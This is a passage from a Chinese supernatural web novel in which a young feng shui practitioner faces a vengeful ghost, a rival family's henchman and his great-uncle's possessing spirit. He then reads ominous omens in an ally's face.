爬出墓室,封好衣柜,我顺道换一身干净的衣裳,这几天在村里弄得够狼狈的。 刚收拾的差不多,就听见咚咚敲门声。 本以为是我爸和爷爷回来了,心想,他们回来的还挺快。 结果去开门,杵在门外的,居然是苟驹。 苟驹身后还跟着几个捞尸队的人,他们都满脸堆笑,对我态度是好极了。 几人手中,抬着一口……棺材。 “水棺,好得很,能装水,也可以不装,我看化血了的河魁,应该也不用水里泡着。” “把她往里边儿一放,白天就当她睡着了。”苟驹笑眯眯的说着。 “赶紧的,往里送啊,杵着干嘛呢?”苟驹又瞪了一眼身后几人。 他们麻利的将棺材往里抬。 我吐了口浊气,让开门,又指引他们将棺材抬进了我房间。 这几个捞尸队的人见了白姝灵的尸身,一个个都咋舌不已,眼睛都发亮。 苟驹在一旁,一人踹了一脚,说再乱看,信不信挖了你们眼珠子! 那几人才悻悻然退出去,匆忙走了。 苟驹帮我一块儿开棺盖,一块儿将白姝灵尸身放进去。 这棺材质地是白色的,看上去不那么瘆人。 再盖上一张床单后,就像是多了一个柜子在床尾。 “齐活儿。”苟驹搓了搓手。 “小陈你就睡一觉吧,我等你家那两爷子回来,会安顿他们的。”苟驹又道。 “谢谢苟叔了。”我如实说。 “那有啥的?”苟驹连连摆手。 昨夜熬了一宿,再加上这几天对我来说,真的是疲于奔命了,我躺在床上,就沉沉睡了过去。 等醒来之后,手一直发疼,我才想起来,之前手被水尸鬼伤了,换了衣服,遮挡住了伤口,反倒是忘了这回事儿。 天色昏黄,已是暮色将至。 我从房间里出去,客厅里多了不少东西,几瓶子酒,桌上还有吃食。 楼上传来一阵阵此起彼伏的鼾声,我爸和爷爷两人一样是睡着了 。 没有去喊醒他们,我出了小二楼,径直朝着回水湾的方向走。 等到了回水湾旁,我静静的看着水面,夕阳余晖,再加上水面的波光粼粼,江水都一片赤红。 只是一时间,我还是没有看出,相关于九尸拉棺的东西。 或许,得下江底看一看? 或许,关键点,在河神老爷身上? 我先前就考虑过这一点,甚至还想了些手段,只不过,河神老爷算是帮过忙,就不能那么做了。 思索间,时间就流逝的飞速,天,居然都黑了。 我深呼吸,压下所有杂乱思绪。 这事儿,还得考量。 还有,我得继续看书了,老陈家的传承,我只学了一半,得尽快看会神相千壳。 转身,我正准备往平房那边走呢。 结果身后,居然杵着一个人! 卢晟! 他直愣愣的看着我,眼神很死。 “卢家主?” 说实话,我被吓了一跳。 “为什么关机,为什么打不通你的电话?” 卢晟幽幽问。 “这……” 我蹙眉,一时间,却不好和卢晟解释。 卢家的事情,我肯定是管不了了,他和葛家的积怨太深,都算是上一代的恩怨,葛家一直都在等机会。 介入其中,就等于去得罪一个先生。 卢家本身就和我没有多大关系,是收钱衡量办事儿,不可能拿命去斗,更遑论,爷爷和我爸还来了身边儿? “问你话呢?为什么联系不上你,也联系不上苟驹?你不让苟驹接我电话吗?啊?!” “卢家没有给你钱吗?啊?” “你想收钱,想办事儿的时候,就办,你不想了,就把卢家一脚踢开?有你这样的先生吗?啊!?” 接连质问,卢晟的表情显得凶狠异常! 他甚至伸手,猛地朝着我肩头推来! 我眉头再皱,抬手,要抓住卢晟的手腕。 他这话,就没道理了。 先生看事,同样也是买卖,买卖需要童叟无欺,两厢情愿。 总不能给卢家办事儿,要送命,我还腆着脸去? 只不过,触碰到卢晟的瞬间,我就感觉到一阵冰冷刺骨。 卢晟的力气,好大! 他的身体,好硬,好冰冷! 他,不是人! 对,余光瞟了一眼地面,卢晟压根就没有影子! 他死了! 鸡皮疙瘩陡然爬满全身,我另一手猛地抽出寻龙分金尺。 一尺子骤然抽在卢晟胸口。 他一声惨叫,嗖的一下松开我手腕,朝着后方退了好几步! 他退后的姿势一样怪异极了,根本没有转身,就是那么平滑后退。 “你不是人!不是人!不是人啊!” “你把我爹害死了,你把我害死了,你把卢家也要害没了!” “你死!你要死!你要死啊!”卢晟尖声咆哮! 就在这时,平房那边匆匆跑来个人,不正是苟驹吗! 他一样满脸惊悚,脚下速度飞快! 骤然间,异变突生。 卢晟忽然哀嚎惨叫了一声,他身上陡然冒出一阵阵白烟,随后,他消失不见,地上哐当多了一个玉扳指,正在不停的变黑,最后啪嗒一声,碎裂成了齑粉。 “嘶……小陈……不至于吧……你把卢家主魂都灭了啊……我才听人说,卢家满门上吊的事儿……” “他来找我们,应该是有怨气……这……”苟驹一脸苦笑。 第133章 想来就来,想走就走吗? 很明显,苟驹是误会了,我是用寻龙分金尺打了卢晟,不过,我仅仅是将卢晟打得后退而已,根本没有下死手,我也不会用这些法器下死手。 当日在村里能破掉膏肓鬼,纯属误打误撞,刚好膏肓鬼的本体在老槐树上,刚好寻龙分金尺插穿了它的尸身。 卢晟又没有将那玉扳指摆在我脸上。 是有人在针对他的魂魄,从而动用了手段,才让他魂飞魄散。 因此,我简单的和苟驹解释了两句,他这才明悟过来,更多的则没开腔了。 当初我就和苟驹说过,卢家这档子事儿,是他们自己的恩怨,苟驹是比我更觉得收钱办事儿不要掺杂太多,免得惹火烧身。 下一刻,啪嗒一声,是苟驹一脚踹在地上那枚玉扳指上。 “不想那么多,其它好像也没啥?要天黑了,小陈你不回去休息休息?”苟驹又道。 能看得出来,苟驹本身没什么事儿,只是因为卢晟来了,才会忽然跑出来。 “没事苟叔,你先回去,我再站一会儿。”我道。 “成,有事儿你招呼。”苟驹说完,拍拍屁股,又往回走了。 没几步路,苟驹停下来,说:“哦对,上回小陈你说的,这下边儿有棺材的事儿,肥水不流外人田,你看啥时候我让人下去摸摸底?” 上一回,我的确和苟驹提了江底是否有棺材,那时候,我想着要解决问题。 不过现在,我觉得,神相千壳我也得掌握几分,才能去涉及这件事儿。 “先等等吧,时机不是太合适。”我如实和苟驹回答。 “成,那等你,不急不急,家门口的,煮熟的鸭子飞不了。”苟驹摇摇晃晃的走了。 我在江边又呆了个把小时,这才准备回小二楼。 远处却传来一阵远光灯。 我抬手掩住脸,灯光还是格外刺目,让人一阵不适。 笃笃的声响,是对方摁了两下喇叭,那感觉就像是招呼我似的,可灯直射着,更像是挑衅。 紧接着车上下来了一个人,远处时,他在灯光中,看不清模样,当他走近一些,灯光忽然就湮灭了,这下子我才能看清楚他的脸。 那男人我认识,那天我坐出租车,他险些杀了我,跳车,我才保住一条命。 他是葛家的人。 此后我去葛家,他还故意使绊子,让我摔了一跤,言辞侮辱。 重重吐了口浊气,我迈步离开,要朝着小二楼方向走去。 我并不想和葛家这群人有交集。 卢家的事情我已经没管了,技不如人,避而远之就是,没有介入他们的恩怨,他也没有什么理由找我的麻烦。 结果,他却直直的朝着我走,正好将我拦住。 “有事么?”我面色沉冷。 “哦,软骨头硬气起来了,拿来吧。”那男人嘴角勾着,带着一次讥讽。 “麻烦你嘴里放尊重一些,还有,我不欠你葛家什么东西,你要什么,我听不懂。” 我语气也不再多和善。 当时在葛家,我低头走,还有一个原因,是双拳难敌四手,我又在别人家门里头,更介入了别人的恩怨。 此刻,我内心坦荡,旁边苟驹也算是自己的人,根本不用怕他。 “听不懂么?卢晟刚才应该找的就是你,他魂魄就是在那个位置湮灭的,那他的寄身之物,应该就是被你拿走了,那枚玉扳指价值不菲,卢家的一切,都是窃取的葛家,那东西,就是葛家的,你不问自取,就是偷,让你交出来,已经是很善意的话。” “你别敬酒不吃吃罚酒!” 这男人的语气更是冷冰冰的。 我皱了皱眉,才说:“我没碰过那枚玉扳指,见,倒是见了一眼,卢晟找我索命,我给了他一尺,随后他魂飞魄散,恰巧还有人经过这里,那扳指,多半是被踹进水里了,你想要,自己去找,我不奉陪。” 语罢,我侧身又要走。 他直接出腿,朝着我脚下一拦,居然又是上次那一招。 且不说我吃过一次亏,不会在同一个地方跌倒两次,还有,他简直是蹬鼻子上脸,愈来愈过分。 抬腿,我猛地一脚往下蹬去! 这一脚,我结结实实踩在他小腿骨头上,反震力很明显, 他闷哼一声,脸瞬间都白了。 “你!” 他怒极,反手就要朝着我脸上抽来。 我反应速度不慢,拔出来寻龙分金尺,照着他手就狠狠来了一下。 以前,我下手肯定不会这么果断直接。 还是前几天在村里,胡喋差点儿把我夺舍,和陈梁生打斗,直接见了血。 真正的在生死边缘走了一趟,人活着都不容易了,平白无故,凭什么受人折辱? 又是啪的一声。 那男人直接惨叫后退,他跌跌撞撞,险些没摔倒,腿在打颤,手在发抖。 “你!”他又一个字,像是愤怒到极点了。 “我?我怎么了?我好端端站在这里,卢家的事情,我没有插手吧?你们葛家的面子,我给够了吧?” “上一次,我想着是我不知情,介入了你们的恩怨,你们有仇报仇,有怨报怨,我被你们算计,也是我理亏。” “可这一次,事情和我没有丝毫关系,你上来就满嘴喷粪,伸腿使绊子,仅仅是踩你一脚,已经算我厚道,伸手你还想打人,我正当防卫,更是理所因当。” “你不要来惹我,不然我也不是好惹的,葛家摆在那里,我光脚的,不怕你们穿鞋的!” 人善被人欺。 一味忍让,换不来尊重。 我冷冰冰的看着那男人。 这时,平房里又匆匆跑出来了一大群人。 “让我看看怎么个事儿!?”隔着老远,苟驹就叫嚣了一声。 紧跟着,那一大群捞尸队的人,乌泱泱围了上来,直接将那男人层层包围。 “你要去水里找东西是吧?” 苟驹笑眯眯说了句。 他这话,直接就表明,先前这男人的言语,他听见了? 我其实不意外,毕竟回水湾少有人来,忽然停了一辆车,还摁了喇叭,苟驹没察觉才不正常。 那男人脸色微变,转身,他作势就要走。 立马几个捞尸队的人上前,将他拦住。 那几人都笑眯眯的,说:“走什么走?想来就来,想走就走吗?” 第134章 爷爷,你醒醒 苟驹噌的一声,直接拔出来卜刀,刀尖冲着那男人比划了两下,又说:“你要去水里找东西,那你就找到了再走,再不济,你得去看看,不然,还说我捞尸队的人拿你东西了,我们可不是贼。” 苟驹这是一边一本正经的解释,说自己不是贼。 他一边,就是威胁,威胁人跳河! 不光是他言语,那几个捞尸队的人,更是将那男人往水边逼。 说实话,苟驹的撑场子,多少让我吐了口恶气。 那男人脸色青红交加,又逐渐涨红成了猪肝色。 “我葛家……” “你葛家算个毛?老子都不挣你一毛钱,你甩上个三五十万到我脸上,我喊你一声爹都行,别把你那狗脾气在我捞尸队里放,不然的话,走夜路仔细着点儿。” “小陈说光脚的不怕穿鞋的,还是他过于将事儿放一人身上了,你都得罪到我回水湾捞尸队头上了,到时候我们一群人,把你葛家祖坟都刨了信不信?” “先生是有本事,不过,再有本事的先生,遇到下九行的人,还是得掂量掂量,别来不及打算盘珠子,就被砍了头!” 苟驹声音大得惊人。 他猛地扬起刀,吓得那男人脑袋都一缩。 “让你下去找你要的东西,听见了没有!?” “还有,你叫什么名字?!” 苟驹厉声逼问。 “葛……葛青……”那男人哆嗦的说了句。 “行,跳河吧,哦不对,是去找东西吧。” 苟驹这才收刀,指了指一旁的河岸。 随后,那葛青被推搡着往河边走。 我知道,苟驹是有分寸的人,因此并没有插嘴多言。 他是给我找场子,我总不能去拆他的台。 葛青噗通一声下了水,他就在水里泡着,也不往下去找。 苟驹就在岸边骂,让他赶紧找,找不着,不准上岸。 我若有所思,想明白了一个点。 为什么苟驹不怕葛青。 葛家有钱,这算不了什么,苟驹这一群人,就是给有钱人办事儿的。 更重要的是,他们命硬。 一般情况下,用风水术去对付人,如果遇到对方命硬,很容易就反噬自身,尤其是吃死人饭的人,命更硬。 像是给殡仪馆开灵车送尸体,或者是焚化炉的烧尸工,正常情况下,先生都不想招惹。 最后也就是最关键的一条,是先生除了算风水,算命,没有多大手段,否则当初进村,苟驹不会想一直跟着我,保护我。 这几个条件综合起来,苟驹根本不怕得罪个先生,先生还得掂量,别惹恼了一群不要命吃死人饭行当的人。 我在河边又站了好久,葛青被逼着沉到水里数次,被折腾的不轻。 气基本上消了。 我看苟驹乐乐呵呵,似是起劲,就没有过去多言其他,转身往小二楼方向走。 我爸和爷爷还是在睡觉,没起床。 能看出来,这段时间在村子里,他们是真累了。 我倒还好,白天休息的很久,没多大困意。 回到房间里,却瞧见白姝灵的棺材安安静静放着,没有丝毫动静。 夜晚,白姝灵怎么不起来? 下一刻,面前悄无声息才多了一个鬼影。 白姝灵没有起尸,是魂魄出现了。 “相公。”她轻唤我一声,很有礼数。 “我会尽快想到办法,看能否根除掉你另外一份魂魄中的恶念的。”我同白姝灵说。 “嗯嗯。”白姝灵点点头。 随后,白姝灵却忽然看向衣柜的方向,小心谨慎的说:“这里还有一个鬼。” 我心头微凛,立即左右四看周围,尤其是我房间门的位置。 “不是外边儿,是这里。” 白姝灵抬起手臂,指着衣柜。 我怔愣住,随后摇摇头,笑了笑说:“这里没有鬼,这里边儿,有符阵,甚至能够压住鬼物,此前我就压过鬼,还有它们存身,寄身之物,你不是知道吗?” “不,相公,是鬼,是鬼太凶,鬼压住了他们,不是符阵。” “它允许我待在这里,可是不允许我诈尸,我才只能离魂,我之前感受的不太确切,现在有尸身了,我感受就很明显了,这里,是他的家。” 我脸色变了变。 家? 寒意,陡然从心底升起。 白姝灵的提醒,让我立即想起来,我在我妈的坟头画的那张符。 亡人划界! 说实话,我在这小二楼里将葬经百解学通,但是并没有在这里融会贯通。 因此,之前我根本没有想到这一茬! 陈瞰山不是单纯的从尸体里出来了,不是我认为的,他就那么走了。 他临死之前,居然给自己亡人划界,给自己立下契约。 这宅子,就是他的地盘!? 这就意味着,我的一言一行,一举一动,都在他的监视之下!? 我顿想起来先前有一晚上,我一直觉得有人盯着自己! 鸡皮疙瘩,蹭蹭直冒。 “他在哪儿?他在里面吗?!”我沉声问白姝灵。 如果陈瞰山在这里,那这事儿就好办的多了! 我其实一直认为,他那天出现,是头七,然后他就去投胎了。 只要他没投胎,那他对于锁龙井的解法,他是能告诉我的! 便不需要我去费尽周章,还要去水底获取! 白姝灵摇摇头,她显得很不自然:“我不知道,之前还好,现在他限制了我在这个屋子里的活动,我的感知范围,只能是这个房间,突破不了那面墙,也感觉不到外边儿发生的一切,除非我出去,可我出去的话,就不能回来了。” 白姝灵小声解释。 我深呼吸,正打算要进地下墓室。 可陡然间,我瞳孔微微一缩。 转身,我一把推开了房间门,匆匆朝着二楼跑去。 因为白姝灵被限制行动的缘由,她无法跟上我。 很快就到了二楼,中间一条过道,两侧各有一个房间。 其中一个房门紧闭,另一个虚掩着一条缝。 我先进了虚掩一条缝的房门,是我爸躺在床上,鼾声如雷。 随后,我径直走向房门紧闭的屋子,用力拧把手,沉甸甸的,把手没拧动。 我心顿沉了更多,又用力拧了一下,还低声喊了句:“爷爷,你醒醒!” 第135章 九尸对九星 爷爷没有打鼾! 他先前一直和我爸一样打鼾! 陈瞰山在这里! 在他所写的那个手册里,不止一次表达了对爷爷的不满,不光是瞿九娘要给爷爷当一辈子童养媳,他更觉得我爸收养了陈梁生,带回去个豺狼虎豹,因此他更瞧不起爷爷。 这里有画地为界,那就不仅仅局限于地下墓室,这整个小二楼阳宅,都可以看做是阴宅! 陈瞰山的阴宅! 他,在爷爷的房间里! “开门!”我声音变大,几乎是怒吼! “棺生?你怎么了?”带着困意和迷惘的话音入耳,分明是我爸醒了,脚步声朝着我靠近。 我动静太大,他醒来才是正常。 “你爷爷累,让他多睡一会儿,你有啥事儿和我讲。”我爸语气缓和。 我抬手,竖掌,做了个阻拦的举动,随后我后退两步,猛地一脚,重重踹在了门上! 沉闷声响中,门还是纹丝不动。 腿反倒是一阵剧痛,是伤到筋骨了。 “里边有个鬼!”我低声开口。 我爸脸色惊变。 “咋回事儿啊!?”他眼中都透着一丝惶恐。 发生了村里的事情后,我爸算是杯弓蛇影,谈鬼色变。 “老陈家的鬼!阴魂不散!” 我再一句话,就没有用脚踹门了,而是拔出来寻龙分金尺,低声喝道:“财、病、离、义、官、劫、害、吉。” “丁、害、旺、苦、义、官、死、兴、失、财!” “陈瞰山,人死灯灭,瞿九娘的事情,是瞿九娘自己的事儿!爷爷娶妻生子,从来没有真的让瞿九娘当童养媳,她不来见你,绝对和爷爷无关,甚至爷爷不知道你这些年曾还活着,见到我之后,才晓得一二。” “你若有什么不满,你去找瞿九娘,你去当面质问!” “人走不投胎,你要做鬼,若你再害人,就算你是我二爷爷,我一样不放过你,现在就毁你阴宅!” 我这番话,先是说了手中寻龙分金尺,分属阴阳两端的尺印文书,告诉他我用得了这尺子了。 随后更是告知他,别伤我爷爷,否则我们之间的矛盾,就不可调节! 鬼有阴宅,人有阳居。 我破了他的阴宅,再加上他根本没有人供奉,连个灵位都没有,他就会成无家可归的游魂野鬼! 沉闷的咯吱声响起。 房门开了。 杵在门口的,赫然是我爷爷! 只不过,爷爷满脸沉冷, 直愣愣的盯着我。 他的眼瞳发黑,没有丝毫眼白,尤其是爷爷的模样,给人一种难言的怪异,既像是他,又不像是他。 我从中看到了几分陈瞰山的面貌。 而他们本身就很像,这一瞬,我竟然分辨不出来了。 “把一个凶尸,当成了妻子,当成了宝贝,就和这废物一样,把一头白眼狼领回了家当成儿子养大。” 爷爷抬起手来,却指着我爸,冷冰冰的说。 他的声音,就完全不是爷爷的了! 是鬼上身! 冷汗,蹭蹭的冒。 我作势扬起寻龙分金尺,就想要朝着爷爷身上打。 爷爷冷眼斜睨着我,丝毫没有闪躲的举动,他嘴角更挂着一抹讥讽的笑。 我手停了下来,脸色更微微苍白。 这一尺子抽下去,陈瞰山肯定会离开爷爷身上。 只不过,这样一来,我们之间就算是彻底撕破脸了。 某种情况下说,陈瞰山做过什么害我的事情吗? 没有。 反倒是我借住在他家里,从他的册子里知道了许多关于陈家的隐秘,提前知道了蟾山女善人是我阴妻,更想要拿到他对付锁龙井凶尸的办法。 我先前气愤,不过是他卡着门。 眼下,虽然是鬼上身,但是他并没有动手伤害爷爷。 因此,我手完完全全一动不动,甚至是后退了两步。 我爸额头上一直冒汗,他显得很心虚,更慌。 心虚是被点出来陈梁生的事儿,慌,就是不晓得对方来头。 我并没有和他说过陈瞰山,他更没有见过陈瞰山,他甚至对老陈家都所知不多。 下一刻,爷爷迈步,和我擦身而过。 他却朝着上天台的楼梯走去。 “没事,爸,他是爷爷的二哥,老陈家的人,不会害人的。”我低声和我爸解释后,随后跟着爷爷走。 很快,便到了屋顶天台处。 月光十分清冷,挥洒在地面,甚至让地面反光都带着一抹白。 爷爷静静的站着,因为鬼上身,他都没有影子。 “你,空有一身胆气,却没有几分本事,如此,便不叫胆气,而叫做愚昧莽撞。” 爷爷口中发出陈瞰山的话音,冷冰冰道:“卢家的事情你既管了,遇到更强的人,你又不敢管,你觉得,你装孙子,低头,就能安然无恙吗?” “先生既然动了害人手段,是不会留下来活口的,尤其是你还曾经插手其中了。” 陈瞰山这话,却让我心里咯噔一下。 “你以为,葛家那个游子,凭什么放过你?” “你以为,他凭什么将寻龙分金尺归还?” 随后陈瞰山的两句话,让我脸色一阵阵苍白。 我想起来了葛家那老人说过的一番话。 他先说了,我果然和当年的陈瞰山一样,是个心思冷漠之人。 随后又说了,若非看我家世,否则早已将我算死。 我一直认为,他是看在老陈家的面子上,可没想到,这居然和陈瞰山有关。 陈瞰山,介入了?! 他一个鬼,去影响了葛家那先生? 要知道,我拿着这寻龙分金尺,真要翻脸,都能和陈瞰山叫板,葛家那先生能算死我,他居然怕陈瞰山? 这并非是我理解有误,陈瞰山这意思,就是对方怕他! 那,我真的能用尺子将他打出来吗? 一时间,我脑子有些浑噩,觉得陈瞰山身上还溢出了一股让人难言的压迫力。 “把她送给河神,你有蟾山的女善人,善尸做妻,比她好了十倍,然后让河神领路去找到水底棺椁,你还需要找到九口尸身,分别对应九星之兆,就能拿到我留下来的手段了。” 爷爷口中发出陈瞰山冷冰冰的话音。 我沉默片刻后,才哑声问。 “手段是什么?为什么不直接给我?” “你没那个本事,我凭什么给你?” 陈瞰山摇摇头。 “我已经算给了你提示,如果你还是凑不齐,那你就浑浑噩噩过完这辈子吧,陈家断子绝孙,便是命数所驱使,断的理所因当!”陈瞰山冷声再道。 第136章 早已入局! “还有,你也可以趁早离开这里,眼不见,我心不烦。” 陈瞰山说完最后一句话,爷爷的身体猛地抽搐颤抖起来,他身体猛地往前一挺。 再接着,爷爷表情怔然,像是呆呆傻傻似的。 我正想上前去搀扶爷爷。 这一霎,爷爷却老泪纵横,哽咽喃喃:“二哥……” 看爷爷这架势,好像被鬼上身,他是清醒的,听到,看到了一切的发生? 我不知道怎么说,我心里还是闷着一口气。 “棺生,你要有决心,有恒心,有毅力啊!” 爷爷看我的眼眶也微微泛红。 “你是老陈家的希望,是希望!老一辈的人算出来了你,你不能让老陈家绝望!” “男人,要不服输,要顶天立地!” 爷爷虽老,但他的话却带着铿锵之意,铿锵之音! 我十分怔然。 其实说实话,对老陈家我有多少感情吗? 真的,没有几分。 时代不一样了,或许以前的人有家族情节,或许,真的从小到大享受着家族庇护,余荫的人会有这种情绪。 可我从小真的没有感受过老陈家的什么东西。 相反,虽然现在我学着老陈家的本事,但是,我感觉算计更多,要求更多。 怕是我还没出生,就给许了阴妻。 真说陈梁生,他也不是我爸带回来的。 而是有人算计老陈家,想要获取老陈家的传承,刻意将陈梁生丢在了我爸妈的必经之路上。 生不出孩子的两夫妻,不就想要个儿子吗? 甚至我都在想,我爸妈当年是真的生不出孩子,还是被算计了? 只是,这对爷爷来说,不一样。 他算是老陈家辉煌时的最后一代,他内心满满的家族情节。 只是,撇去这件事情不谈。 我不可能让陈梁生杀了吧,毕竟东西在我手里,我更不可能拱手送给他。 他害了我妈! 害了我奶奶! 甚至要害我全家! 更像是陈瞰山说的,先生的事情介入进去了,先生就必然会下杀招! 陈梁生,不会放过我的! 我不想介入,可命运的线已经纠葛在我身上。 我早已入局! “爷爷,我和上几代,没有多大关联了,血脉,算是最后的枢纽,可你说的没错,男人,顶天立地。” “小的时候,我依靠你们,如今你们老了,便依靠我。” “老陈家如何,那都是过去,如今,我不会让你们失望的!” 这最后一句话,我字句铿锵! 爷爷嘴唇嗡动,他眼眶更红,眼泪淌下来更多,却没有继续多言了,只是用力点头。 视线感从另一侧传来,扭头一看,是我爸在那里畏畏缩缩的窥视。 “爸,没事了。”我笑了笑,内心都舒缓许多。 至少,陈瞰山没有害人之心。 他虽然当年离开家族,但是他一样是为了陈家。 我为了爷爷,为了我爸,为了我自己,这不冲突。 这小二楼,是可以住下去的,旁边就是苟驹,这很安全。 我爸这才走出天台,他擦了擦额头上的汗,张张嘴,却还是没说出来什么话。 “没有什么大问题,爷爷,爸,你们还是多休息吧,明天开始,你们随意,注意安全就好,我要忙正事儿了。”我告诉他们。 爷爷点点头。 我爸同样是点头的举动,发生刚才的事儿后,他都没有多问话的心思。 我先下了楼,回到自己房间里。 白姝灵在床边来回踱步,瞧见我进屋后,她才稍稍缓了口气。 “没事。”我缓和一笑。 “嗯嗯。”白姝灵情绪更镇定了些。 “河神老爷来过了,趴在窗户的位置看了一会儿,走了。”白姝灵小声说:“那个鬼不让其他东西进来了,河神老爷虽然不是尸体,不是鬼祟,可它一样不敢进来,它怕死。” 这更让我确定,陈瞰山一定有某种手段。 以前河神老爷是能进屋子的,还偷走过白姝灵的小人,现在它不敢进来,陈瞰山必然用了某种方式震慑。 “无碍,它不会对你怎么样。”我又和白姝灵说了一句,进洗手间去洗漱了一番。随后回到床上半躺着。 困意不浓,我取出来了神相千壳,翻开了第一页,最前边儿,就是一行诗。 “骨不耸兮肉不露,又要圆清面秀气。骨为阳兮肉为阴,阳不多兮肉不附。若得阴阳骨肉均,少年不贵终身富。” 我开始没多大感觉,认为风水术和算命术,能有多大区别,既然是一种传承,那肯定会触类旁通,结果没想到,完全没有关联。 复杂程度,要比风水术高得多。 确切来说,风水术是一种刻板知识,所有风水,方位都是既定的,只要记得住,只要善用罗盘,就一定能勘风水。 算命,却不一样。 就单单这一首诗中体现的,就是骨和肉之间的关系。 这里边儿,又有脸…… 我沉下心来,静静的研读。 不知不觉间,天亮了。 不知不觉间,阳光刺目到了极点。 不知不觉间,夕阳刺目的光晒在脸上,我眼睛发酸,脑壳发晕,整个人都头重脚轻,昏昏沉沉。 是彻彻底底看了进去,融入其中。 抬起头,脖子酸痛僵硬,腿都完全麻了,险些没知觉。 晃了晃脑袋,我将神相千壳合上,没有继续看下去。 长时间的熬夜,不眠不休,并不是什么好事儿。也就这个寒假之前,我还没有接触到这些东西的时候,天天刷视频,不是看到这个人加班猝死,就是看见那个人疲劳过度,脑溢血瘫痪。 推门出房间,客厅被打扫的很干净,东西归置的井井有条。 门外传来乐乐呵呵的说话声,我走过去,推开门,才瞧见屋外支棱着一张桌子,上边儿放着不少酒菜,我爸,爷爷,正在和苟驹相谈盛欢! 苟驹正说着:“老陈叔,陈老哥,甭说别的! 小陈!我老苟罩着呢,就昨晚那瘪犊子玩意儿,我愣是让他在水里泡了一宿!” “他今早上爬上来的时候,都哭了!哈哈哈哈!” “回水湾里,谁敢上门来欺负人!?” 随后,苟驹打了个酒嗝,他扭头瞧见了我。 爷爷和我爸一样看向我,招呼我赶紧去吃东西。 我笑容满面。 苟驹的确很好,很念及情分,关键时刻,也绝不掉链子。 可下一刻,我脸色就微微一变,死死的盯着苟驹的脸。 “怎么了小陈?你苟叔脸上长东西了?你看着不停歇?" 第137章 人中井部水横纹,每到临船莫进程 “人中井部水横纹,每到临船莫进程。” 我口中低语,目光却依旧死死锁定在苟驹的脸上,没有挪开分毫。 “啥子啥子又啥子?小陈,说人话。” 苟驹说话向来粗犷,又喝了几杯,更没有什么边界。 我没生气,又盯着苟驹的脸看了几秒钟,才说:“苟叔,你唇上,鼻下,人中的位置,出现井纹,其中又有水波一样的横纹,这是凶兆,你又要去捞尸了?” “哦?”苟驹眼中淌出几分奇异之色。 “小陈又会面相了?”他惊叹说。 对于我说他有凶兆,他丝毫不在意,看着我,却愈发的啧啧称奇。 “会了一点点,算是皮毛。苟叔,如果你最近几天要去捞尸,那你不要去,此面相为水厄相,出现这种相格,如果坚持去做不能做的事,怕是会出事。”我再度开口,眼中透着劝解。 苟驹笑眯眯的,他不置可否的说了句:“小陈,这你就不知道了,吃死人饭这一行的,哪有次次轻松捡钱的道理?既然有人找你了,你也把活儿接了,拿了人定钱,就得给人办事儿,这叫规矩。” “你苟叔我,是不被刻板的条条框框所约束,但是嘛,收了主家钱,就要给主家把事情办妥,这是硬规矩。” “水中取尸,不亚于刀口舔血,这事儿,我早就习惯了。没什么大不了。”最后,苟驹还摆了摆手。 “来,喝两杯。”说着,他又来拉我胳膊。 我拗不过苟驹,他不光是在水里头劲儿大,这会儿劲儿更是不小,硬生生被他拖着坐在了小桌旁。 苟驹给我倒酒,我才注意到,他嘴角的位置一股赤红色的筋微微鼓起, 钻入了唇间。 我心头再度一凛。 又是一种面相? “苟叔,我要进屋一会儿,总归,你哪儿都不要去!就在这里等我!”我反手抓住苟驹的胳膊,眼神分外慎重,看了一眼我爷爷和我爸。 两人面面相觑,一下子看出事情的严重性,虽然没有说话,但他们都暗暗点头。 起身,我匆匆跑回了小二楼里,回到房间中。 拿出来神相千壳那本书,我快速翻页,几乎是一目十行。 昨晚看到刚才,我只是粗略的知道一些面相的断法,恰巧看到了苟驹脸上的相格,是水厄。 这第二种,我只知道是相格,却不知道是哪一种,只能照本宣科,现在去找! 脑子一阵阵发痛,后脑勺一阵阵发紧,过度看面相书,对精力的消耗太重。 终于,我找到了自己想找的内容。 寥寥数个字。 赤筋入口,防血光之灾! 我喜形于色,一下子窜起身。 不过就这一下,眼前发黑,整个人天旋地转,就是那种久蹲而起的晕厥,整个人直挺挺的栽倒在床上。 还想要起身,却怎么都撑不起来了,手脚发重,脑袋更重,彻底控制不住身体,意识都空洞空白。 再等我猛地睁开眼,撑起身时,屋子里阳光明媚,阳光照射在脸上,十分熨烫。 浑噩感消失,我清醒过来,赶紧转身跑出房间,再推门而出,院子里空空荡荡,哪儿还有苟驹的身影。 后方传来咚咚咚脚步声,回过头,就瞧见了我爸,他头发有些蓬乱,睡眼惺忪的。 “棺生,你醒了啊。”我爸打了个哈欠。 “苟叔呢?爸,不是让你们看着他,不能走吗?”我话音急促。 我爸僵了僵,才说:“是没有让他走,可你很久没出来,之后苟驹就进屋了,推开你房间,发现你睡着了,他就走了。” 我:“……” 我哪儿是什么睡着了,是精疲力竭,再加上蹲着翻书,精神太集中,没注意到身体不适,骤然起身,晕厥了过去。 眼下,解释已经没什么意义了。 “我去找苟叔,爸你和爷爷想去哪儿逛逛就逛逛,注意安全。” 语罢,我便转身朝着平房方向跑去。 小二楼就在平房后边儿。 我咚咚咚敲响苟驹的房门,没有回应。 大喊了两声,还是没有答应。 甚至于我这么大的动静,其他房间都没人出来。 我凑到苟驹房间的窗户前,窗帘没有拉上,屋子里空空如也,床上一样无人。 心头微微一沉。 我走向另外的房门,同时喊:“有人吗?!” 一样,没有得到任何回答。 鬼使神差的,我看了一眼前方的水旁,回水湾本来就是一个往里的凹口,平房就在凹口旁边,凹口水湾里平时停着很多架船,全都是捞尸队的船只,此时此刻,船只剩下了一半,另一半的水面空空荡荡。 我脸色一变再变。 不光是苟驹去办事儿了,更带走了他手底下所有捞尸队的人!? 脚步声匆匆又从后方传来,是我爸追来了。 “棺生,你太着急忙慌了,苟驹他们昨晚上就走了,知道你睡着了,他就说要干活儿去,恰巧他手底下的人过来催,说什么胡家打电话了。” “我和你爷爷其实拦了,没拦住,瞧见他们所有人开船走的。” 我爸这会儿睡意没了,只是眼睛里还是血丝不少,宿醉感很浓烈。 “胡家?” 我眉头紧锁,我哪儿知道什么胡家,我只知道,苟驹水厄相格,更有血光之灾。 只是昨晚上太不凑巧,我太困倦。 一时间,心头有股闷堵感。 不知道胡家,找不到胡家,那多半得出事儿。 一个激灵反应过来,我摸出来手机给苟驹打电话。却没想到,铃声从平房里传出来,他竟是手机都没拿。 “找个熟悉的人问问?”我爸在一旁提议。 我只有苦笑,在内沧市呆了也就十几天,我接触过的人,除了苟驹的捞尸队,就只有卢家了。 卢家又满门上吊,被葛家的杀了。 我连个问话的人都没有。 上葛家去? 昨晚上苟驹才说了,把那个葛家人泡了一整夜。 